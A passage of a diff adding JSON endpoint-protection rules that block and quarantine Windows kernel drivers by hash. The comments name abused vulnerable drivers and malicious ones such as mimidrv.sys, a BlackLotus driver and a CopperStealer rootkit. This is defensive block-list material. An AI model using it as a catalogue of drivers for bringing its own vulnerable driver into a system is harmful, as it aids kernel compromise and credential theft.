+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143980Z",
+  "creation_date": "2026-03-23T11:45:32.143982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143988Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88f36fda7dcc6d5af2bcbef29d14fd4032247d4b45f5299944be31441ab53bc1",
+  "comment": "Vulnerable Kernel Driver (aka CSC.sys) [https://www.loldrivers.io/drivers/1c92e1bf-103b-4545-b242-e5a9858ec9c8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "edf1a25a-2899-5820-b9ab-bb5b7a26aff9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622174Z",
+  "creation_date": "2026-03-23T11:45:29.622176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e",
+  "comment": "BioStar Racing GT EVO vulnerable driver (aka BS_RCIO64.sys) [CVE-2021-44852] [https://nephosec.com/biostar-exploit/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "edf7f554-cb75-59f6-bdd5-b6fb7897d46f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836468Z",
+  "creation_date": "2026-03-23T11:45:30.836471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836476Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c77a23599f2eab14c330798defb9189fe1983a394cbee62dbcb725b365c9645b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee16ce9a-f275-5daa-94e9-44b3648485dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829125Z",
+  "creation_date": "2026-03-23T11:45:31.829128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "304c18db58ffbdc11d35a5475a682c95ab932468cc84c31e98deaa0680fe7ea2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee1b86ce-53fd-57a6-ab83-a7fdfa460f60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483340Z",
+  "creation_date": "2026-03-23T11:45:31.483344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483353Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a33cbfa4c55625d74ced7b1b6c74433fd57882f65677ebe2010191dd8812f0b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee1c2bab-e320-51e3-a245-96cbd130303e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978170Z",
+  "creation_date": "2026-03-23T11:45:29.978172Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978178Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83ac9bf01c2d2ab0f66782fade462864f42b86e53dc455e1441c2a16d0ec2847",
+  "comment": "Malicious Kernel Driver (aka 0x3040_blacklotus_beta_driver.sys) [https://www.loldrivers.io/drivers/8750b245-af35-4bc6-9af3-dc858f9db64f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee35292b-b6c0-5326-a863-c803f917f178",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154656Z",
+  "creation_date": "2026-03-23T11:45:31.154658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a192d1cd870059a96661cb4ec05d5acdb0c7588aeacb390805237e55cf10f073",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee4ac39b-c7ff-5b43-b199-284e93fff580",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160570Z",
+  "creation_date": "2026-03-23T11:45:31.160572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4ca5d33aef0a2c435fdf1d4d7ee7726121c5b3857249255ab92861dafaf8b06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee4f24ab-fa60-5a37-8f94-4c0a3ab7ed84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606139Z",
+  "creation_date": "2026-03-23T11:45:29.606141Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77950e2a40ac0447ae7ee1ee3ef1242ce22796a157074e6f04e345b1956e143c",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee50abb9-7836-5c47-8f3f-7d75e5dd9bd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820012Z",
+  "creation_date": "2026-03-23T11:45:30.820014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820020Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "abbf92203a31c93b8e719cdabff1c681921edbaf43cd34da79c86cb5a806757f",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee667ac4-91de-5cb7-8d10-14a9e7e9f9cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822522Z",
+  "creation_date": "2026-03-23T11:45:31.822526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09f0ae64632dc0122b29d4708217d7a8332fef12d91bc8bae5c66ae6c9067385",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee754b0d-36fd-5d32-b057-a77d8b1079c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469836Z",
+  "creation_date": "2026-03-23T11:45:30.469840Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469849Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58ed3bafe401102ddf52c9c2e006408ef181ceaf85741a73328d8fe92195edca",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee961be6-32df-5df7-a822-784c26004ba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820266Z",
+  "creation_date": "2026-03-23T11:45:30.820268Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820274Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3fc8f8dddbd471fa2d5deb292552876b3c737b09149307f901e38b53cd62648",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ee98abba-b4e4-501b-ac4f-9b16d36c4f92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150599Z",
+  "creation_date": "2026-03-23T11:45:31.150601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19a6d53a72915b456b800c699c38b30aaaa009939b9ea1e1fa229d57f1ca46db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eead8ee9-b9bd-51d0-8674-4f54d5b5be3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479992Z",
+  "creation_date": "2026-03-23T11:45:30.479994Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ca20c63d8f56c09c48d0faa1894f2e3fccd4b029fd711d9864355e5f29c19f8",
+  "comment": "Vulnerable Kernel Driver (aka AsmIo64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eeb016a8-5e5e-5744-a789-c9a1a68f5318",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486801Z",
+  "creation_date": "2026-03-23T11:45:31.486804Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486813Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89a6952035427dfbb70e27e1456e8b13648f205609871924027f4dfc3ade37cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eeb71fcb-1aa6-5bf3-b1e9-0b20981ee673",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831748Z",
+  "creation_date": "2026-03-23T11:45:30.831750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a348c4ac61303db7a1dbab06c95e56abbcd947d394dce5e2316232ce58b22bd9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eeb994b3-e138-5e6a-aecc-8176cc25b143",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977514Z",
+  "creation_date": "2026-03-23T11:45:29.977516Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977521Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5fad3775feb8b6f6dcbd1642ae6b6a565ff7b64eadfc9bf9777918b51696ab36",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eec9b3ec-9b5b-560c-a8f6-05a9aa396028",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973059Z",
+  "creation_date": "2026-03-23T11:45:29.973061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8eaa5e6d3230b93c126d2d58e32409e4aeeb23ccf0dd047a17f1ef552f92fe9",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eed73264-cbbb-5a19-8ef9-ecae7481d090",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981670Z",
+  "creation_date": "2026-03-23T11:45:29.981674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981683Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8886a9c759e0426e08d55e410b02c5b05af3c287b15970175e4874316ffaf13",
+  "comment": "Vulnerable Kernel Driver (aka netflt.sys) [https://www.loldrivers.io/drivers/35a9afeb-18f1-4c02-a3aa-830e300138ae/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eed909b5-6a82-53cd-a387-c62d67abc935",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488621Z",
+  "creation_date": "2026-03-23T11:45:31.488623Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7a95440a117482379be31db69537776dbc52c0128e89d9684aaa65e13190713",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eeee10ba-db56-5871-b08d-68b2b2cb4b96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977278Z",
+  "creation_date": "2026-03-23T11:45:29.977280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977286Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37a1a3fa4dc148924c1bfb60c88ffef082ee58cd0ee804d2de0f1d22c1e7802c",
+  "comment": "Malicious CopperStealer Rootkit (aka windbg.sys) [https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eef8e40f-78f7-572e-85d2-eda0ac8e0695",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156655Z",
+  "creation_date": "2026-03-23T11:45:31.156657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156662Z",
